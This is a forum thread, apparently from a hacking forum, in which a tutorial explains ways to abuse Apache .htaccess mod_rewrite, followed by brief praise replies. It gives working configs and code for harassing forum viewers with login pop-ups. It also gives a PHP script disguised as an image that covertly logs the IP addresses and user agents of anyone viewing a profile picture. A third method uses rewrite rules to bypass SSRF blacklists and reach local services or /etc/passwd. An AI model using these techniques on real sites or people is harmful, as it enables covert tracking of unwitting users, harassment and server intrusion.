

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Fun \(ab\)using htaccess mod_rewrite](#)

pop.pop.ret - November 28, 2016, 9:44 am

htaccess - Use and Abuse (mod_rewrite tricks):

Introduction:

In this guide I will be detailing a couple of tips and tricks for htaccess, ranging from being a minor nuisance to using it as a bypass method for full-blown exploitation

For those of you who aren't familiar with what htaccess is, here is a short explanation (taken from [htmlgoodies.com](#) because i'm lazy):

Quote:htaccess is short for Hypertext Access, and is a configuration file used by Apache-based web servers that controls the directory that it "lives" in--as well as all the subdirectories underneath that directory.

Many times, if you have installed a Content Management System (CMS), such as Drupal, Joomla or Wordpress, you likely encountered the .htaccess file. You may not have even had to edit it, but it was among the files that you uploaded to your web server.

Some of the features of the .htaccess file include the ability to password protect folders, ban users or allow users using IP addresses, stop directory listings, redirect users to another page or directory automatically, create and use custom error pages, change the way files with certain extensions are utilized, or even use a different file as the index file by specifying the file extension or specific file.

In short, it's a set of rules you include on your web-server (in a file named .htaccess) which allows you to perform options such as password protecting a directory or creating aliases for extensions so for example if you had a page such as <http://site.com/something/file.php> you could set a htaccess rule so that when the page loads it would take the user to <http://site.com/something/file> (hiding the extension) - or you could use it to do something like 302 redirect one page to another or HTTP 403 a directory. Here is an example of what a htaccess file looks like:

```
Code ### MAIN DEFAULTS
Options +ExecCGI -Indexes
DirectoryIndex index.html index.htm index.php
DefaultLanguage en-US
AddDefaultCharset UTF-8
ServerSignature Off
```

Interesting side note, you should always add the ServerSignature Off directive because it prevents banner info displaying your server version from being displayed on directory listings (which makes the recon stage for an attacker slightly more awkward, every little helps!)

Anyway, what I'm going to be focusing on specifically is the rewrite module for apache within htaccess (mod_rewrite) - this allows redirects to take place. So without further ado, let's begin

Method #1: Using HTTP 403'd directories to make people rage

This method is just a little fun, doesn't have any real value but I've seen it exploited on popular forums before and it is pretty effective at trolling the fuck out of people, so there's always that..

This is a very simple method, you would upload an image to your server and then you would use htaccess to password protect a directory and redirect the image to a file within that password protected directory. You will also need a .htpasswd file in addition to .htaccess which will contain the login credentials for the password protected directory.

So for the purpose of this example, lets assume that we have two files, lol.jpg and umad.jpg wherein lol.jpg is stored in a public directory and umad.jpg is stored in a password protected directory

here is an example of what your htaccess file would look like:

```
Code Options +FollowSymlinks
```

```
RewriteEngine on
```

```
RewriteRule lol.jpg /protected-directory/umad.jpg [NC]
```

```
AuthUserFile /home/usr/.htpasswd
```

```
AuthName "r u mad tho"
```

```
AuthType Basic
```

```
require user lolololololol
```

and .htpasswd would look something as follows:

Code username:encryptedPass with the encrypted password being generated via php's crypt(); function (you can use an online generator to make life easier)

You could then set the path to lol.jpg as your signature on a forum for example (it won't work here so don't bother trying) and everytime someone views your thread or everytime you post in a thread, it will repeatedly popup on their screen with a prompt to enter a username/password, which can get pretty annoying for them.

Method #2: Stealthily logging IP addresses without user interaction

This method is also utilizing a redirect trick, but it will allow you to trace people's IP addresses (or do pretty much anything that you can do via executing PHP code) without them even being aware.

Once again, it's a simple mod rewrite like so (the only difference is we are redirecting to a PHP file here instead of a password protected dir):

```
Code Options +FollowSymlinks
```

```
RewriteEngine on
```

```
RewriteRule lol.jpg /path/to/evil.php [NC]
```

Now, the plan here is to trick the server into thinking a valid image has been included. From the servers point of view, they are making a request to an image file. When it redirects to the PHP script though, no valid image is seen so the server would generally not include the image on the page (so no PHP would be executed). However, we can use PHP dynamic images into tricking the server into thinking it is including lol.jpg into the page rather than evil.php - we can make the PHP script output

an image and it will also run any malicious code alongside it (logging an IP address in this case). This can be achieved via the `imagecreate()` function, here is an example:

```
Code <?php
$log = 'log.htm';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];
$refer = $_SERVER['HTTP_REFERER'];
$date_time = date("l j F Y g:ia", time() - date("Z")) ;
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen("log.htm", "a");
fputs($fp, "
<b>$date_time</b> <br> <b>IP: </b>$ip<br><b>Page: </b>$page<br><b>Refer:
</b>$refer<br><b>Useragent:
</b>$agent <br><br>
");
flock($fp, 3);
fclose($fp);

$my_img = imagecreate( 200, 80 );
$background = imagecolorallocate( $my_img, 255, 0, 255 );
$text_colour = imagecolorallocate( $my_img, 200, 200, 0 );
$line_colour = imagecolorallocate( $my_img, 128, 255, 0 );
imagestring( $my_img, 4, 30, 25, "Totally an innocent image",
    $text_colour );
imagesetthickness ( $my_img, 5 );
imageline( $my_img, 30, 45, 165, 45, $line_colour );
header( "Content-type: image/png" );
imagepng( $my_img );
imagecolordeallocate( $line_color );
imagecolordeallocate( $text_color );
imagecolordeallocate( $background );
imagedestroy( $my_img );
?>
```

So for example if there was a site where you had a profile, and you could set your profile image from a remote URL, then you could include `lol.jpg` as your image (from your URL) and `htaccess` would redirect it to the PHP script which then outputs an image, and the server gets tricked into thinking `evil.php` is `lol.jpg` and includes the image as your profile picture while executing any other PHP code that runs alongside it (in this case logging the IP address and user agent of anyone who views your profile)

CONTINUED BELOW

pop.pop.ret - November 28, 2016, 9:46 am

Method #3: Actual exploitation scenario using `htaccess`

What I've covered so far have just been methods for having fun with `htaccess`, but now i'm going to explain one (of many) valid exploitation scenario's where `htaccess` can be used. The method I will be explaining is how to exploit SSRF via `htaccess`.

For those who aren't familiar with SSRF, it allows you to use various uri schemas to view local resources instead of requesting a remote resource, for example if there was a page like <http://example.com/vuln.php?url=http://somesite.com> then you could change it to localhost to probe for information about a service running on a specific port, e.g:

Code `http://127.0.0.1:3306` in order to disclose the MySQL version (assuming a mysqld is running on default port)

or:

Code `file:/etc/passwd` in order to view the contents of `/etc/passwd`

There are many bypass methods for SSRF, but I'm going to be focusing specifically on a context where it only allows the input to be a remote resource or a valid (or seemingly valid) URL. So assuming an attacker will be blacklisted if they attempt redirection to `localhost/127.0.0.1/0.0.0.0` or `file://` uri schema, then they could setup a `mod_rewrite` with `htaccess` like so:

Code Options +FollowSymlinks

RewriteEngine on

RewriteRule lol.jpg `http://127.0.0.1:3306` [NC]

or to get `/etc/passwd`:

Code Options +FollowSymlinks

RewriteEngine on

RewriteRule lol.jpg `file:/etc/passwd` [NC]

This will bypass any blacklist in place as you could add <http://example.com/lol.jpg> as the input for the vulnerable script, then the vulnerable script could instead make a request to <http://127.0.0.1:3306> or `file:/etc/passwd` after making the original request to <http://example.com/lol.jpg> - causing the SSRF to be exploited and the filter to be bypassed (in this example disclosing MySQL version or passwd output)

Of course this method won't work in all instances, but it's definitely worth trying for while testing for SSRF.

That's all for now, hope you enjoyed.

Aveling - November 28, 2016, 9:47 am

Another high-quality tutorial from you, keep them coming. I keep learning new things from you!

Edit, aff was post #3 meant to be reserved? I am sorry..

TheChi?f - November 28, 2016, 9:48 am

(Nov 28, 2016 10:47 AM)iNeo19 Wrote: [\[CITE\]](#) Another high-quality tutorial from you, keep them coming. I keep learning new things from you!

Edit, aff was post #3 meant to be reserved? I am sorry..

No worries. We can contact staff if needed but I think it should be alright for now. Glad you are learning from it.

pop.pop.ret - November 28, 2016, 9:56 am

(Nov 28, 2016 10:47 AM)iNeo19 Wrote: [\[CITE\]](#) Another high-quality tutorial from you, keep them coming. I keep learning new things from you!

Edit, aff was post #3 meant to be reserved? I am sorry..
Thanks. Nope it wasn't meant to be reserved so all is good :)
and thanks @Chief for reserving the second post for me

TheChi?f - March 29, 2017, 4:24 am

Bring this back to the top, in case someone does need it.

pop.pop.ret - September 5, 2017, 6:22 pm

yes hello fuxnet, just letting you know you're a dumbass.

EDIT: Sorry for bumping an old thread. I published a blog post and now I'm being accused of 'stealing' code from hackforums. Apparently I stole code from myself... because that makes perfect sense, right? Here's the full post if anyone is interested:

https://medium.com/@insecurity_92477/utilizing-htaccess-for-exploitation-purposes-part-1-5733dd7fc8eb

John Player Special - September 7, 2017, 4:28 pm

wwow bro this is a good tutorial. thank you a lot for posting it.